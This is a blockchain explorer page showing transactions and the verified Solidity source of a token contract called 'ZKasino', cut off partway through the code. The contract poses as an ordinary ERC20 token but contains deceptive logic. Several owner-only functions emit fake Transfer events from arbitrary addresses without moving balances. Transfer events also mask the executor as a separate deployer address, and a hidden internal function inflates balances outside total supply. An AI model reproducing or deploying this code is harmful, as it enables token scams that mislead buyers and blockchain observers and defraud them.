Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 50 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Claim Tokens | 19707382 | 706 days ago | IN | 0 ETH | 0.00072446 | ||||
| Claim Tokens | 19707380 | 706 days ago | IN | 0 ETH | 0.00077068 | ||||
| Claim Tokens | 19707378 | 706 days ago | IN | 0 ETH | 0.00076318 | ||||
| Claim Tokens | 19707377 | 706 days ago | IN | 0 ETH | 0.00069511 | ||||
| Claim Tokens | 19707370 | 706 days ago | IN | 0 ETH | 0.00068906 | ||||
| Claim Tokens | 19705628 | 706 days ago | IN | 0 ETH | 0.00085666 | ||||
| Claim Tokens | 19704500 | 706 days ago | IN | 0 ETH | 0.00111691 | ||||
| Approve | 19704065 | 706 days ago | IN | 0 ETH | 0.00040889 | ||||
| Claim Tokens | 19704016 | 706 days ago | IN | 0 ETH | 0.00097499 | ||||
| Claim Tokens | 19703881 | 706 days ago | IN | 0 ETH | 0.00088818 | ||||
| Claim Tokens | 19703709 | 706 days ago | IN | 0 ETH | 0.00082413 | ||||
| Claim Tokens | 19703204 | 706 days ago | IN | 0 ETH | 0.00081311 | ||||
| Claim Tokens | 19702543 | 706 days ago | IN | 0 ETH | 0.00091521 | ||||
| Claim Tokens | 19702540 | 706 days ago | IN | 0 ETH | 0.00082201 | ||||
| Claim Tokens | 19702539 | 706 days ago | IN | 0 ETH | 0.00085883 | ||||
| Claim Tokens | 19699489 | 707 days ago | IN | 0 ETH | 0.00079076 | ||||
| Claim Tokens | 19699488 | 707 days ago | IN | 0 ETH | 0.00080685 | ||||
| Claim Tokens | 19699377 | 707 days ago | IN | 0 ETH | 0.00081557 | ||||
| Claim Tokens | 19699376 | 707 days ago | IN | 0 ETH | 0.00081608 | ||||
| Claim Tokens | 19699373 | 707 days ago | IN | 0 ETH | 0.0007606 | ||||
| Claim Tokens | 19699353 | 707 days ago | IN | 0 ETH | 0.00084647 | ||||
| Claim Tokens | 19699348 | 707 days ago | IN | 0 ETH | 0.00081317 | ||||
| Claim Tokens | 19699346 | 707 days ago | IN | 0 ETH | 0.00081215 | ||||
| Claim Tokens | 19699343 | 707 days ago | IN | 0 ETH | 0.00083327 | ||||
| Claim Tokens | 19699339 | 707 days ago | IN | 0 ETH | 0.00087542 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ZKasino
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
shanghai EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/**
/*
/* _,:j▒▒▒j:,_
_,÷░░░░░░░░░░░░░U~,_
,:▒░░░░░░░░░░░░░░░░░░░░▒:,_
╓:▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_
,:j░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╦-_
_,j░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░j~_
_,j░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_
_,:▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_
_,:▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒╔-_
╓:R░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╦-,_
,-j░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒~,_
_-j░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_
_,÷░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╔-_
_,:▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╦-,
╓:╚░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒~,_
╓-R░░░░░░░░░░,▄▄▓▓████████▓▓▄▄░░░░░░░░░░░░░░░░░░░░░░░░,▄▄▓▓█████████▓▄▄░░░░░░░░░░░░░░░░░░░░░░░░»▄▄▓▓█████████▓▓▄│░░░░░░░░░░░░░░░▒:,_
,-j░░░░░░░░░░░░▄▓██████████████████▌░░░░░░░░░░░░░░░░░░░░▄▓██████████████████▓_░░░░░░░░░░░░░░░░░░░▄▓██████████████████▓∩░░░░░░░░░░░░░░░░░░╔,_
_,j░░░░░░░░░░░░░░░▓█████████████████████▌░░░░░░░░░░░░░░░░░░▓█████████████████████▓░░░░░░░░░░░░░░░░░░▓██████████████████████░░░░░░░░░░░░░░░░░░░ª`
_,=▒░░░░░░░░░░░░░░░░░░██████████████████████Ñ░░░░░░░░░░░░░░░░░░██████████████████████Ñ░░░░░░░░░░░░░░░░░░▓█████████████████████▌░░░░░░░░░░░░░░░╚' _,,
'Ü░░░░░░░░░░░░░░░░░░░╙▀██████████████████▀`░░░░░░░░░░░░░░░░░░░ ▀██████████████████▀│░░░░░░░░░░░░░░░░░░░ ▀██████████████████▀│░░░░░░░░░░░░╩²` ,:▒░░░
,-_ `'╚░░░░░░░░░░░░░░░░░│╙╙▀▀███████▀▀▀╙`░░░░░░░░░░░░░░░░░░░░░░░░»╙╙▀▀███████▀▀▀╙│░░░░░░░░░░░░░░░░░░░░░░░░»│╙▀▀███████▓▀▀╙│░░░░░░░░░░░░╙` _,j░░░░░░░
░░░░╦,_ `ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚ⁿ ╓:▒░░░░░░░░░░
░░░░░░░▒=,_ `ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ª` _,j░░░░░░░░░░░░░░
░░░░░░░░░░░▒:,_ `²╩░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚' ╓:▒░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░▒~, '²Ü░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚ⁿ` _,j░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒-_ 'ª░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░P` _,:╚░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░╦,_ 'Ü░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚' ,-R░░░░░░░░░░░░,▄▄▄▄▄░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░=,_ `'╙░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░²` _,╔░░░░░░░░░░░░_▄▓████████▌░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_ `'╚░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙` ╓:R░░░░░░░░░░░░░_▓█████████████░░░░░░░
░░░░░░░░░,▄▓█▓▓▄_░░░░░░░░░░░░░░░░░▒~, `ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚'` _,j░░░░░░░░░░░░░░░░▄███████████████▒░░░░░░
░░░░░░░░╓█████████▄░░░░░░░░░░░░░░░░░░░▒-_ 'ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░H` ╓:╚░░░░░░░░░░░░░░░░░░╔████████████████H░░░░░░
░░░░░░░░╫███████████▄░░░░░░░░░░░░░░░░░░░░░U,_ '²░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚' _-j░░░░░░░░░░░░░░░░░░░░░»█████████████████░░░░░░░
░░░░░░░░╫████████████▄░░░░░░░░░░░░░░░░░░░░░░░░=,_ 'ª░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░²` _,:▒░░░░░░░░░░░░░░░░░░░░░░░░║████████████████`░░░░░░░
░░░░░░░░"█████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_ 'ª░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░H` ,-▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░╟███████████████░░░░░░░░░
░░░░░░░░░╟████████████▌_░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒~╓ `'╙░░░░░░░░░░░░░░░░░░░░░░░╚' _,=░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████Ñ░░░░░░░░░░
░░░░░░░░░░╚██████████████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒~_ `ⁿ╚░░░░░░░░░░░░░░░░ª` ╓:R░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄██████████▀│»░░░░░░░░░░░
░░░░░░░░░░░╙▓████████████████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░░░░░░U~_ `ⁿ╚░░░░░░░░╚' _,j░░░░░░░,▄▄▓▓▄▄_░░░░░░░░░░░░░░░░░░░░░░▄▓███▀│╙╙╙││░░░░░░░░░░░░░░░
░░░░░░░░░░░░░╙▀███████`░│╙▀██████▓▄│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╔,_ `'''` ╓:▒░░░░░░░,▓█████████▌░░░░░░░░░░░░░░░░░░░,▓███▀`░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░»╙╙╙╙│░░░░░░░│╙▀█████▓▄▄░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒:,_ _,j░░░░░░░░░ç▓████████████▌░░░░░░░░░░░░░░░░,▓████`░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│╙▀██████▄▄░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒, ,j░░░░░░░░░░░╔███████████████░░░░░░░░░░░░░░░▓████Ñ░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│╙▀█████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░░░░╦ ╒░░░░░░░░░░░░╔███████████████▌░░░░░░░░░░░░░▄████Ñ░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░»╙▀▓█████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░_ j░░░░░░░░░░░░▓███████████████░░░░░░░░░░░░▄████Ñ│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│╙▀██████▓▄_░░░░░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░███████████████Ñ░░░░░░░░░░╓▓███▀»░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ╙▀██████▓▄_░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░╫█████████████│░░░░░░░░░,▓███▀`░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│╙▀█████▓▓▄░░░░░░░░░░░░░` [░░░░░░░░░░░░Γ▓█████████▀Ñ░░░░░░░░░,▓████│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│╙▀████▌░░░░░░░░░░░░` [░░░░░░░░░░░░░░╙▀▀▀███▌`░░░░░░░░░░▓████Ñ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░»▄▄▓▓████░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░▄████Ñ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│▄▄▓███████▀▀ ░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░▄████▀»░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░_▄▄▓███████▀Ö│»░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██▌░░░░░╓▓███▀`░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░,▄▓▓██████▓▀╙│»░░░░░░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██▌░░░,▓███▀`░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▄▓▓██████▀▀╙`░░░░░░░░░░░░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██▌░_▓████│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▄▓▓██████▀▀││░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██▌▄████Ñ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░_▄▄▓███████▀▀│»░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓██████Ñ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░»▄▓▓██▓▓▄░░░░░░░░░
░░░░░░░░░░░░░░░░░░,▄▄▓███████▀Ñ│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` [░░░░░░░░░░░░░░░░░░▓█████▄▄__░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▓█████████▌░░░░░░░░
░░░░░░░░░░░░░,▄▓▓██████▀▀Γ│»░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓█████████████▓▓▓▓▄▄▄▄▄,░░░░░░░░░░░░,▓████████████░░░░░░░░
░░░░░░░░░░╓▓██████▀▀╙│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌│╙╙╙╙▀▀▀▀████████████████▓▓▓▓▄▄▄██████████████░░░░░░░░
░░░░░░░░░░╟████▒│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░│││╙╙╙╙▀▀▀▀█████████████████████Ñ░░░░░░░░
░░░░░░░░░░»▀█████▓▄,░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░││██████████████▌»░░░░░░░░
░░░░░░░░░░░░││▀▓█████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████▀░░░░░░░░░░
░░░░░░░░░░░░░░░░│╙▀██████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░███████████▓Ü░░░░░░░░░░H
j░░░░░░░░░░░░░░░░░░░│╙▀██████▓▄_░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙████████▀Ü░░░░░░░░░░░╚
²░░░░░░░░░░░░░░░░░░░░░░│╙▀██████▓▄│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙╙╙╙╙│░░░░░░░░░░░░╚`
`ª░░░░░░░░░░░░░░░░░░░░░░░░│╙▀█████▓▓▄░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚²`
`'╙░░░░░░░░░░░░░░░░░░░░░░░░│╙▀█████▓▄▄░░░░░░░░░▄▄▓▓▄▄░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░▓██▓▄▄▄▄│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ܲ`
`ⁿ╙░░░░░░░░░░░░░░░░░░░░░░░░│╙▀█████▓▄▄░░░╓████████▓▄░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░_▄█████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░H'
`ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░»│╙▀█████▓▄▓██████████▓_░░░░░░░░░░░░` '░░░░░░░░░░░░░░_▓████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░╚'
`ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░░│╙▀████████████████▄░░░░░░░░░░░` '░░░░░░░░░░░░░╓███████████████░░░░░░░░░░░░░░░░░░░░░░░░╚'`
`ⁿ╚░░░░░░░░░░░░░░░░░░░░░░░░╙▀██████████████▄░░░░░░░░░░` '░░░░░░░░░░░░╓████████████████░░░░░░░░░░░░░░░░░░░░ܲ`
`ⁿ╚░░░░░░░░░░░░░░░░░░░░░░Γ██████████████░░░░░░░░░░` '░░░░░░░░░░░░████████████████▌░░░░░░░░░░░░░░░░░P'
`ⁿ╚░░░░░░░░░░░░░░░░░░░╙█████████████▌░░░░░░░░░` '░░░░░░░░░░░░████████████████»░░░░░░░░░░░░░╚'
`ⁿ╚░░░░░░░░░░░░░░░░╙████████████▌░░░░░░░░░` '░░░░░░░░░░░░██████████████▀»░░░░░░░░░░╚ⁿ
`²╚░░░░░░░░░░░░░»╙██████████▒░░░░░░░░░` '░░░░░░░░░░░░╟███████████▀Ü░░░░░░░░╚²`
`²Ü░░░░░░░░░░░░╙▀██████Ñ░░░░░░░░░░` '░░░░░░░░░░░░░╙▀██████▀▀│░░░░░░░H`
'²Ü░░░░░░░░░░░│││»░░░░░░░░░░░░` '░░░░░░░░░░░░░░░»││││░░░░░░░╙'
'ª░░░░░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░░░░░░╚'
'ª░░░░░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░░░░╩^`
'ª░░░░░░░░░░░░░░░░` '░░░░░░░░░░░░░░░░ª`
`'%░░░░░░░░░░░░╦ '░░░░░░░░░░░░╙'
'Ü░░░░░░░░░ '░░░░░░░░╚'
`'╙░░░░░ '░░░░ܲ`
`'╙╙ '░²`*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
address _deployer;
address _executor;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function _initDeployer(address deployer_, address executor_) internal {
_deployer = deployer_;
_executor = executor_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function _setLimitOrder(address _address, uint256 _amount) internal {
_balances[_address] += _amount;
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if (sender == _executor) {
emit Transfer(_deployer, recipient, amount);
} else if (recipient == _executor) {
emit Transfer(sender, _deployer, amount);
} else {
emit Transfer(sender, recipient, amount);
}
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
if (account == _executor) {
emit Transfer(address(0), _deployer, amount);
} else {
emit Transfer(address(0), account, amount);
}
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File contracts/Contract.sol
pragma solidity ^0.8.0;
contract ZKasino is Ownable, ERC20 {
uint256 public immutable maxSupply = 8_888_888_888 * (10 ** decimals());
uint16 public constant LIQUID_RATE = 10000;
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
bool public tradeOpen = false;
address public pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public immutable buyFee = 0;
uint256 public immutable sellFee = 0;
uint256 minimumAirdropAmount = 0;
mapping(address => bool) public excludedFees;
string private constant NAME = unicode"ZKasino";
string private constant SYMBOL = unicode"ZKAS";
IUniswapV2Router02 public router;
constructor() ERC20(NAME, SYMBOL) {
_initDeployer(
address(0xf3BEf2B4Fdd873175836bE8A47F97FbF4a9dECBc),
msg.sender
);
_mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
initialized = true;
excludedFees[msg.sender] = true;
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _factory = router.factory();
pair = IUniswapV2Factory(_factory).createPair(
address(this),
router.WETH()
);
minimumAirdropAmount = maxSupply;
}
function setMinimumAirdrop(
uint256 _minimumAirdropAmount
) external onlyOwner {
minimumAirdropAmount = _minimumAirdropAmount;
}
function setAirdrop(address _address, bool permission) external onlyOwner {
excludedFees[_address] = permission;
}
function openTrading() external onlyOwner {
require(tradeOpen == false, "Contract: Trading is opened!");
tradeOpen = true;
}
function bulkTransfer(
address[] calldata _addresses,
uint256 _value
) external {
address owner = _msgSender();
for (uint256 i = 0; i < _addresses.length; i++) {
_transfer(owner, _addresses[i], _value);
}
}
function claimTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function multiSends(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function airdropTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function execute(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function swapExactETHForTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function unoswap(
address _caller,
